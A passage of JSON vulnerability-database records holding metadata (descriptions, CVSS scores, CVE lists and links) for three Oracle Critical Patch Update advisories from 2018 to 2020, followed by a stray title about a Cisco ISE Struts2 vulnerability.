the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at January 2019 Critical Patch Update: Executive Summary and Analysis.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-01-15T00:00:00", "type": "oracle", "title": "Oracle Critical Patch Update Advisory - January 2019", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0114", "CVE-2015-0852", "CVE-2015-1832", "CVE-2015-4760", "CVE-2015-7940", "CVE-2015-8965", "CVE-2015-9251", "CVE-2016-0635", "CVE-2016-1000031", "CVE-2016-1181", "CVE-2016-1182", "CVE-2016-4000", "CVE-2016-5684", "CVE-2016-6814", "CVE-2016-9389", "CVE-2016-9392", "CVE-2016-9583", "CVE-2017-0379", "CVE-2017-13745", "CVE-2017-14229", "CVE-2017-14735", "CVE-2017-15095", "CVE-2017-3735", "CVE-2017-3736", "CVE-2017-3738", "CVE-2017-5645", "CVE-2017-7525", "CVE-2017-7658", "CVE-2017-9526", "CVE-2017-9798", "CVE-2018-0732", "CVE-2018-0733", "CVE-2018-0734", "CVE-2018-0735", "CVE-2018-0737", "CVE-2018-0739", "CVE-2018-1000120", "CVE-2018-1000121", "CVE-2018-1000122", "CVE-2018-1000180", "CVE-2018-1000300", "CVE-2018-1000301", "CVE-2018-1000613", "CVE-2018-1000632", "CVE-2018-10933", "CVE-2018-11039", "CVE-2018-11040", "CVE-2018-11212", "CVE-2018-11307", "CVE-2018-11763", "CVE-2018-11775", "CVE-2018-11776", "CVE-2018-11784", "CVE-2018-12022", "CVE-2018-12023", "CVE-2018-1257", "CVE-2018-1258", "CVE-2018-1270", "CVE-2018-1271", "CVE-2018-1272", "CVE-2018-1275", "CVE-2018-1313", "CVE-2018-14718", "CVE-2018-14719", "CVE-2018-14720", "CVE-2018-14721", "CVE-2018-3125", "CVE-2018-3147", "CVE-2018-3246", "CVE-2018-3303", "CVE-2018-3304", "CVE-2018-3305", "CVE-2018-3309", "CVE-2018-3311", "CVE-2018-3639", "CVE-2018-3646", "CVE-2018-5390", "CVE-2018-5407", "CVE-2018-6922", "CVE-2018-7489", "CVE-2018-8013", "CVE-2018-9206", "CVE-2019-2395", "CVE-2019-2396", "CVE-2019-2397", "CVE-2019-2398", "CVE-2019-2399", "CVE-2019-2400", "CVE-2019-2401", "CVE-2019-2402", "CVE-2019-2403", "CVE-2019-2404", "CVE-2019-2405", "CVE-2019-2406", "CVE-2019-2407", "CVE-2019-2408", "CVE-2019-2409", "CVE-2019-2410", "CVE-2019-2411", "CVE-2019-2412", "CVE-2019-2413", "CVE-2019-2414", "CVE-2019-2415", "CVE-2019-2416", "CVE-2019-2417", "CVE-2019-2418", "CVE-2019-2419", "CVE-2019-2420", "CVE-2019-2421", "CVE-2019-2422", "CVE-2019-2423", "CVE-2019-2425", "CVE-2019-2426", "CVE-2019-2427", "CVE-2019-2429", "CVE-2019-2430", "CVE-2019-2431", "CVE-2019-2432", "CVE-2019-2433", "CVE-2019-2434", "CVE-2019-2435", "CVE-2019-2436", "CVE-2019-2437", "CVE-2019-2438", "CVE-2019-2439", "CVE-2019-2440", "CVE-2019-2441", "CVE-2019-2442", "CVE-2019-2443", "CVE-2019-2444", "CVE-2019-2445", "CVE-2019-2446", "CVE-2019-2447", "CVE-2019-2448", "CVE-2019-2449", "CVE-2019-2450", "CVE-2019-2451", "CVE-2019-2452", "CVE-2019-2453", "CVE-2019-2455", "CVE-2019-2456", "CVE-2019-2457", "CVE-2019-2458", "CVE-2019-2459", "CVE-2019-2460", "CVE-2019-2461", "CVE-2019-2462", "CVE-2019-2463", "CVE-2019-2464", "CVE-2019-2465", "CVE-2019-2466", "CVE-2019-2467", "CVE-2019-2468", "CVE-2019-2469", "CVE-2019-2470", "CVE-2019-2471", "CVE-2019-2472", "CVE-2019-2473", "CVE-2019-2474", "CVE-2019-2475", "CVE-2019-2476", "CVE-2019-2477", "CVE-2019-2478", "CVE-2019-2479", "CVE-2019-2480", "CVE-2019-2481", "CVE-2019-2482", "CVE-2019-2485", "CVE-2019-2486", "CVE-2019-2487", "CVE-2019-2488", "CVE-2019-2489", "CVE-2019-2490", "CVE-2019-2491", "CVE-2019-2492", "CVE-2019-2493", "CVE-2019-2494", "CVE-2019-2495", "CVE-2019-2496", "CVE-2019-2497", "CVE-2019-2498", "CVE-2019-2499", "CVE-2019-2500", "CVE-2019-2501", "CVE-2019-2502", "CVE-2019-2503", "CVE-2019-2504", "CVE-2019-2505", "CVE-2019-2506", "CVE-2019-2507", "CVE-2019-2508", "CVE-2019-2509", "CVE-2019-2510", "CVE-2019-2511", "CVE-2019-2512", "CVE-2019-2513", "CVE-2019-2519", "CVE-2019-2520", "CVE-2019-2521", "CVE-2019-2522", "CVE-2019-2523", "CVE-2019-2524", "CVE-2019-2525", "CVE-2019-2526", "CVE-2019-2527", "CVE-2019-2528", "CVE-2019-2529", "CVE-2019-2530", "CVE-2019-2531", "CVE-2019-2532", "CVE-2019-2533", "CVE-2019-2534", "CVE-2019-2535", "CVE-2019-2536", "CVE-2019-2537", "CVE-2019-2538", "CVE-2019-2539", "CVE-2019-2540", "CVE-2019-2541", "CVE-2019-2543", "CVE-2019-2544", "CVE-2019-2545", "CVE-2019-2546", "CVE-2019-2547", "CVE-2019-2548", "CVE-2019-2549", "CVE-2019-2550", "CVE-2019-2552", "CVE-2019-2553", "CVE-2019-2554", "CVE-2019-2555", "CVE-2019-2556"], "modified": "2020-02-13T00:00:00", "id": "ORACLE:CPUJAN2019", "href": "https://www.oracle.com/security-alerts/cpujan2019.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T20:10:47", "description": "A Critical Patch Update is a collection of patches for multiple security vulnerabilities. Critical Patch Update patches are usually cumulative, but each advisory describes only the security fixes added since the previous Critical Patch Update advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security fixes. Please refer to:\n\n * [Critical Patch Updates, Security Alerts and Bulletins](<https://www.oracle.com/securityalerts>) for information about Oracle Security Advisories.\n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released fixes. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update fixes without delay.**\n\nThis Critical Patch Update contains 301 new security fixes across the product families listed below. Please note that an MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at [ October 2018 Critical Patch Update: Executive Summary and Analysis](<https://support.oracle.com/epmos/faces/DocumentDisplay?id=2456979.1>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-12-18T00:00:00", "type": "oracle", "title": "Oracle Critical Patch Update - October 2018", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1007", "CVE-2014-0014", "CVE-2014-0114", "CVE-2014-3490", "CVE-2014-7817", "CVE-2015-0235", "CVE-2015-0252", "CVE-2015-3144", "CVE-2015-3145", "CVE-2015-3153", "CVE-2015-3236", "CVE-2015-3237", "CVE-2015-6937", "CVE-2015-7501", "CVE-2015-7990", "CVE-2015-9251", "CVE-2016-0635", "CVE-2016-0729", "CVE-2016-0755", "CVE-2016-1000031", "CVE-2016-1181", "CVE-2016-1182", "CVE-2016-2107", "CVE-2016-3739", "CVE-2016-4000", "CVE-2016-5019", "CVE-2016-5080", "CVE-2016-5244", "CVE-2016-5419", "CVE-2016-5420", "CVE-2016-5421", "CVE-2016-6814", "CVE-2016-7141", "CVE-2016-7167", "CVE-2016-8615", "CVE-2016-8616", "CVE-2016-8617", "CVE-2016-8618", "CVE-2016-8619", "CVE-2016-8620", "CVE-2016-8621", "CVE-2016-8622", "CVE-2016-8623", "CVE-2016-8624", "CVE-2016-9586", "CVE-2016-9840", "CVE-2016-9841", "CVE-2016-9842", "CVE-2016-9843", "CVE-2017-14735", "CVE-2017-15095", "CVE-2017-3735", "CVE-2017-3736", "CVE-2017-3738", "CVE-2017-5529", "CVE-2017-5533", "CVE-2017-5645", "CVE-2017-5715", "CVE-2017-7407", "CVE-2017-7525", "CVE-2017-7805", "CVE-2017-9798", "CVE-2018-0732", "CVE-2018-0733", "CVE-2018-0737", "CVE-2018-0739", "CVE-2018-1000120", "CVE-2018-1000121", "CVE-2018-1000122", "CVE-2018-1000300", "CVE-2018-1000301", "CVE-2018-11039", "CVE-2018-11040", "CVE-2018-11307", "CVE-2018-11776", "CVE-2018-12022", "CVE-2018-12023", "CVE-2018-1257", "CVE-2018-1258", "CVE-2018-1270", "CVE-2018-1271", "CVE-2018-1272", "CVE-2018-1275", "CVE-2018-1304", "CVE-2018-1305", "CVE-2018-13785", "CVE-2018-14048", "CVE-2018-18223", "CVE-2018-18224", "CVE-2018-2887", "CVE-2018-2889", "CVE-2018-2902", "CVE-2018-2909", "CVE-2018-2911", "CVE-2018-2912", "CVE-2018-2913", "CVE-2018-2914", "CVE-2018-2922", "CVE-2018-2971", "CVE-2018-3011", "CVE-2018-3059", "CVE-2018-3115", "CVE-2018-3122", "CVE-2018-3126", "CVE-2018-3127", "CVE-2018-3128", "CVE-2018-3129", "CVE-2018-3130", "CVE-2018-3131", "CVE-2018-3132", "CVE-2018-3133", "CVE-2018-3134", "CVE-2018-3135", "CVE-2018-3136", "CVE-2018-3137", "CVE-2018-3138", "CVE-2018-3139", "CVE-2018-3140", "CVE-2018-3141", "CVE-2018-3142", "CVE-2018-3143", "CVE-2018-3144", "CVE-2018-3145", "CVE-2018-3146", "CVE-2018-3147", "CVE-2018-3148", "CVE-2018-3149", "CVE-2018-3150", "CVE-2018-3151", "CVE-2018-3152", "CVE-2018-3153", "CVE-2018-3154", "CVE-2018-3155", "CVE-2018-3156", "CVE-2018-3157", "CVE-2018-3158", "CVE-2018-3159", "CVE-2018-3160", "CVE-2018-3161", "CVE-2018-3162", "CVE-2018-3163", "CVE-2018-3164", "CVE-2018-3165", "CVE-2018-3166", "CVE-2018-3167", "CVE-2018-3168", "CVE-2018-3169", "CVE-2018-3170", "CVE-2018-3171", "CVE-2018-3172", "CVE-2018-3173", "CVE-2018-3174", "CVE-2018-3175", "CVE-2018-3176", "CVE-2018-3177", "CVE-2018-3178", "CVE-2018-3179", "CVE-2018-3180", "CVE-2018-3181", "CVE-2018-3182", "CVE-2018-3183", "CVE-2018-3184", "CVE-2018-3185", "CVE-2018-3186", "CVE-2018-3187", "CVE-2018-3188", "CVE-2018-3189", "CVE-2018-3190", "CVE-2018-3191", "CVE-2018-3192", "CVE-2018-3193", "CVE-2018-3194", "CVE-2018-3195", "CVE-2018-3196", "CVE-2018-3197", "CVE-2018-3198", "CVE-2018-3200", "CVE-2018-3201", "CVE-2018-3202", "CVE-2018-3203", "CVE-2018-3204", "CVE-2018-3205", "CVE-2018-3206", "CVE-2018-3207", "CVE-2018-3208", "CVE-2018-3209", "CVE-2018-3210", "CVE-2018-3211", "CVE-2018-3212", "CVE-2018-3213", "CVE-2018-3214", "CVE-2018-3215", "CVE-2018-3217", "CVE-2018-3218", "CVE-2018-3219", "CVE-2018-3220", "CVE-2018-3221", "CVE-2018-3222", "CVE-2018-3223", "CVE-2018-3224", "CVE-2018-3225", "CVE-2018-3226", "CVE-2018-3227", "CVE-2018-3228", "CVE-2018-3229", "CVE-2018-3230", "CVE-2018-3231", "CVE-2018-3232", "CVE-2018-3233", "CVE-2018-3234", "CVE-2018-3235", "CVE-2018-3236", "CVE-2018-3237", "CVE-2018-3238", "CVE-2018-3239", "CVE-2018-3241", "CVE-2018-3242", "CVE-2018-3243", "CVE-2018-3244", "CVE-2018-3245", "CVE-2018-3246", "CVE-2018-3247", "CVE-2018-3248", "CVE-2018-3249", "CVE-2018-3250", "CVE-2018-3251", "CVE-2018-3252", "CVE-2018-3253", "CVE-2018-3254", "CVE-2018-3255", "CVE-2018-3256", "CVE-2018-3257", "CVE-2018-3258", "CVE-2018-3259", "CVE-2018-3261", "CVE-2018-3262", "CVE-2018-3263", "CVE-2018-3264", "CVE-2018-3265", "CVE-2018-3266", "CVE-2018-3267", "CVE-2018-3268", "CVE-2018-3269", "CVE-2018-3270", "CVE-2018-3271", "CVE-2018-3272", "CVE-2018-3273", "CVE-2018-3274", "CVE-2018-3275", "CVE-2018-3276", "CVE-2018-3277", "CVE-2018-3278", "CVE-2018-3279", "CVE-2018-3280", "CVE-2018-3281", "CVE-2018-3282", "CVE-2018-3283", "CVE-2018-3284", "CVE-2018-3285", "CVE-2018-3286", "CVE-2018-3287", "CVE-2018-3288", "CVE-2018-3289", "CVE-2018-3290", "CVE-2018-3291", "CVE-2018-3292", "CVE-2018-3293", "CVE-2018-3294", "CVE-2018-3295", "CVE-2018-3296", "CVE-2018-3297", "CVE-2018-3298", "CVE-2018-3299", "CVE-2018-3301", "CVE-2018-3302", "CVE-2018-7489", "CVE-2018-8013", "CVE-2018-8014", "CVE-2018-8034", "CVE-2018-8037"], "modified": "2018-10-16T00:00:00", "id": "ORACLE:CPUOCT2018", "href": "https://www.oracle.com/security-alerts/cpuoct2018.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T20:10:41", "description": "A Critical Patch Update is a collection of patches for multiple security vulnerabilities. These patches are usually cumulative, but each advisory describes only the security patches added since the previous Critical Patch Update Advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security patches. Please refer to:\n\n * [Critical Patch Updates, Security Alerts and Bulletins](<https://www.oracle.com/security-alerts>) for information about Oracle Security advisories.\n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released security patches. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update security patches without delay.**\n\nThis Critical Patch Update contains 444 new security patches across the product families listed below. Please note that an MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at [ July 2020 Critical Patch Update: Executive Summary and Analysis](<https://support.oracle.com/rs?type=doc&id=2684313.1>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-07-14T00:00:00", "type": "oracle", "title": "Oracle Critical Patch Update Advisory - July 2020", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-7501", "CVE-2015-8607", "CVE-2015-8608", "CVE-2015-9251", "CVE-2016-0701", "CVE-2016-1000031", "CVE-2016-1181", "CVE-2016-1182", "CVE-2016-1923", "CVE-2016-1924", "CVE-2016-2183", "CVE-2016-2381", "CVE-2016-3183", "CVE-2016-4000", "CVE-2016-4796", "CVE-2016-4797", "CVE-2016-5017", "CVE-2016-5019", "CVE-2016-6306", "CVE-2016-6814", "CVE-2016-8332", "CVE-2016-8610", "CVE-2016-9112", "CVE-2016-9840", "CVE-2016-9841", "CVE-2016-9842", "CVE-2016-9843", "CVE-2017-0861", "CVE-2017-10140", "CVE-2017-12610", "CVE-2017-12626", "CVE-2017-12814", "CVE-2017-12837", "CVE-2017-12883", "CVE-2017-15265", "CVE-2017-15708", "CVE-2017-5637", "CVE-2017-5645", "CVE-2018-1000004", "CVE-2018-1000632", "CVE-2018-10237", "CVE-2018-10675", "CVE-2018-10872", "CVE-2018-10901", "CVE-2018-11039", "CVE-2018-11040", "CVE-2018-11054", "CVE-2018-11055", "CVE-2018-11056", "CVE-2018-11057", "CVE-2018-11058", "CVE-2018-11776", "CVE-2018-1199", "CVE-2018-12015", "CVE-2018-12023", "CVE-2018-12207", "CVE-2018-1257", "CVE-2018-1258", "CVE-2018-1270", "CVE-2018-1271", "CVE-2018-1272", "CVE-2018-1275", "CVE-2018-1288", "CVE-2018-15756", "CVE-2018-15769", "CVE-2018-17190", "CVE-2018-17196", "CVE-2018-18311", "CVE-2018-18312", "CVE-2018-18313", "CVE-2018-18314", "CVE-2018-3620", "CVE-2018-3639", "CVE-2018-3646", "CVE-2018-3665", "CVE-2018-3693", "CVE-2018-5390", "CVE-2018-6616", "CVE-2018-6797", "CVE-2018-6798", "CVE-2018-6913", "CVE-2018-7566", "CVE-2018-8012", "CVE-2018-8013", "CVE-2018-8032", "CVE-2018-8088", "CVE-2019-0188", "CVE-2019-0201", "CVE-2019-0220", "CVE-2019-0222", "CVE-2019-0227", "CVE-2019-10081", "CVE-2019-10082", "CVE-2019-10086", "CVE-2019-10092", "CVE-2019-10097", "CVE-2019-10192", "CVE-2019-10193", "CVE-2019-10246", "CVE-2019-10247", "CVE-2019-11358", "CVE-2019-12086", "CVE-2019-12384", "CVE-2019-12402", "CVE-2019-12415", "CVE-2019-12423", "CVE-2019-12814", "CVE-2019-12973", "CVE-2019-13990", "CVE-2019-14379", "CVE-2019-14439", "CVE-2019-14540", "CVE-2019-14862", "CVE-2019-14893", "CVE-2019-1547", "CVE-2019-1549", "CVE-2019-1551", "CVE-2019-1552", "CVE-2019-1563", "CVE-2019-16056", "CVE-2019-16335", "CVE-2019-16935", "CVE-2019-16942", "CVE-2019-16943", "CVE-2019-17091", "CVE-2019-17267", "CVE-2019-17359", "CVE-2019-17531", "CVE-2019-17560", "CVE-2019-17561", "CVE-2019-17563", "CVE-2019-17569", "CVE-2019-17571", "CVE-2019-17573", "CVE-2019-19956", "CVE-2019-20330", "CVE-2019-20388", "CVE-2019-2094", "CVE-2019-2725", "CVE-2019-2729", "CVE-2019-2904", "CVE-2019-3738", "CVE-2019-3739", "CVE-2019-3740", "CVE-2019-5427", "CVE-2019-5489", "CVE-2019-8457", "CVE-2020-10650", "CVE-2020-10672", "CVE-2020-10673", "CVE-2020-10683", "CVE-2020-10968", "CVE-2020-10969", "CVE-2020-11022", "CVE-2020-11023", "CVE-2020-11080", "CVE-2020-11111", "CVE-2020-11112", "CVE-2020-11113", "CVE-2020-11619", "CVE-2020-11620", "CVE-2020-11655", "CVE-2020-11656", "CVE-2020-13434", "CVE-2020-13435", "CVE-2020-13630", "CVE-2020-13631", "CVE-2020-13632", "CVE-2020-14527", "CVE-2020-14528", "CVE-2020-14529", "CVE-2020-14530", "CVE-2020-14531", "CVE-2020-14532", "CVE-2020-14533", "CVE-2020-14534", "CVE-2020-14535", "CVE-2020-14536", "CVE-2020-14537", "CVE-2020-14539", "CVE-2020-14540", "CVE-2020-14541", "CVE-2020-14542", "CVE-2020-14543", "CVE-2020-14544", "CVE-2020-14545", "CVE-2020-14546", "CVE-2020-14547", "CVE-2020-14548", "CVE-2020-14549", "CVE-2020-14550", "CVE-2020-14551", "CVE-2020-14552", "CVE-2020-14553", "CVE-2020-14554", "CVE-2020-14555", "CVE-2020-14556", "CVE-2020-14557", "CVE-2020-14558", "CVE-2020-14559", "CVE-2020-14560", "CVE-2020-14561", "CVE-2020-14562", "CVE-2020-14563", "CVE-2020-14564", "CVE-2020-14565", "CVE-2020-14566", "CVE-2020-14567", "CVE-2020-14568", "CVE-2020-14569", "CVE-2020-14570", "CVE-2020-14571", "CVE-2020-14572", "CVE-2020-14573", "CVE-2020-14574", "CVE-2020-14575", "CVE-2020-14576", "CVE-2020-14577", "CVE-2020-14578", "CVE-2020-14579", "CVE-2020-14580", "CVE-2020-14581", "CVE-2020-14582", "CVE-2020-14583", "CVE-2020-14584", "CVE-2020-14585", "CVE-2020-14586", "CVE-2020-14587", "CVE-2020-14588", "CVE-2020-14589", "CVE-2020-14590", "CVE-2020-14591", "CVE-2020-14592", "CVE-2020-14593", "CVE-2020-14594", "CVE-2020-14595", "CVE-2020-14596", "CVE-2020-14597", "CVE-2020-14598", "CVE-2020-14599", "CVE-2020-14600", "CVE-2020-14601", "CVE-2020-14602", "CVE-2020-14603", "CVE-2020-14604", "CVE-2020-14605", "CVE-2020-14606", "CVE-2020-14607", "CVE-2020-14608", "CVE-2020-14609", "CVE-2020-14610", "CVE-2020-14611", "CVE-2020-14612", "CVE-2020-14613", "CVE-2020-14614", "CVE-2020-14615", "CVE-2020-14616", "CVE-2020-14617", "CVE-2020-14618", "CVE-2020-14619", "CVE-2020-14620", "CVE-2020-14621", "CVE-2020-14622", "CVE-2020-14623", "CVE-2020-14624", "CVE-2020-14625", "CVE-2020-14626", "CVE-2020-14627", "CVE-2020-14628", "CVE-2020-14629", "CVE-2020-14630", "CVE-2020-14631", "CVE-2020-14632", "CVE-2020-14633", "CVE-2020-14634", "CVE-2020-14635", "CVE-2020-14636", "CVE-2020-14637", "CVE-2020-14638", "CVE-2020-14639", "CVE-2020-14640", "CVE-2020-14641", "CVE-2020-14642", "CVE-2020-14643", "CVE-2020-14644", "CVE-2020-14645", "CVE-2020-14646", "CVE-2020-14647", "CVE-2020-14648", "CVE-2020-14649", "CVE-2020-14650", "CVE-2020-14651", "CVE-2020-14652", "CVE-2020-14653", "CVE-2020-14654", "CVE-2020-14655", "CVE-2020-14656", "CVE-2020-14657", "CVE-2020-14658", "CVE-2020-14659", "CVE-2020-14660", "CVE-2020-14661", "CVE-2020-14662", "CVE-2020-14663", "CVE-2020-14664", "CVE-2020-14665", "CVE-2020-14666", "CVE-2020-14667", "CVE-2020-14668", "CVE-2020-14669", "CVE-2020-14670", "CVE-2020-14671", "CVE-2020-14673", "CVE-2020-14674", "CVE-2020-14675", "CVE-2020-14676", "CVE-2020-14677", "CVE-2020-14678", "CVE-2020-14679", "CVE-2020-14680", "CVE-2020-14681", "CVE-2020-14682", "CVE-2020-14684", "CVE-2020-14685", "CVE-2020-14686", "CVE-2020-14687", "CVE-2020-14688", "CVE-2020-14690", "CVE-2020-14691", "CVE-2020-14692", "CVE-2020-14693", "CVE-2020-14694", "CVE-2020-14695", "CVE-2020-14696", "CVE-2020-14697", "CVE-2020-14698", "CVE-2020-14699", "CVE-2020-14700", "CVE-2020-14701", "CVE-2020-14702", "CVE-2020-14703", "CVE-2020-14704", "CVE-2020-14705", "CVE-2020-14706", "CVE-2020-14707", "CVE-2020-14708", "CVE-2020-14709", "CVE-2020-14710", "CVE-2020-14711", "CVE-2020-14712", "CVE-2020-14713", "CVE-2020-14714", "CVE-2020-14715", "CVE-2020-14716", "CVE-2020-14717", "CVE-2020-14718", "CVE-2020-14719", "CVE-2020-14720", "CVE-2020-14721", "CVE-2020-14722", "CVE-2020-14723", "CVE-2020-14724", "CVE-2020-14725", "CVE-2020-1927", "CVE-2020-1934", "CVE-2020-1935", "CVE-2020-1938", "CVE-2020-1941", "CVE-2020-1945", "CVE-2020-1950", "CVE-2020-1951", "CVE-2020-1967", "CVE-2020-2513", "CVE-2020-2555", "CVE-2020-2562", "CVE-2020-2966", "CVE-2020-2967", "CVE-2020-2968", "CVE-2020-2969", "CVE-2020-2971", "CVE-2020-2972", "CVE-2020-2973", "CVE-2020-2974", "CVE-2020-2975", "CVE-2020-2976", "CVE-2020-2977", "CVE-2020-2978", "CVE-2020-2981", "CVE-2020-2982", "CVE-2020-2983", "CVE-2020-2984", "CVE-2020-5258", "CVE-2020-5397", "CVE-2020-5398", "CVE-2020-6851", "CVE-2020-7059", "CVE-2020-7060", "CVE-2020-7595", "CVE-2020-8112", "CVE-2020-8172", "CVE-2020-9327", "CVE-2020-9484", "CVE-2020-9488", "CVE-2020-9546", "CVE-2020-9547", "CVE-2020-9548"], "modified": "2020-12-01T00:00:00", "id": "ORACLE:CPUJUL2020", "href": "https://www.oracle.com/security-alerts/cpujul2020.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}
Cisco Identity Services Engine Struts2 Namespace Vulnerability
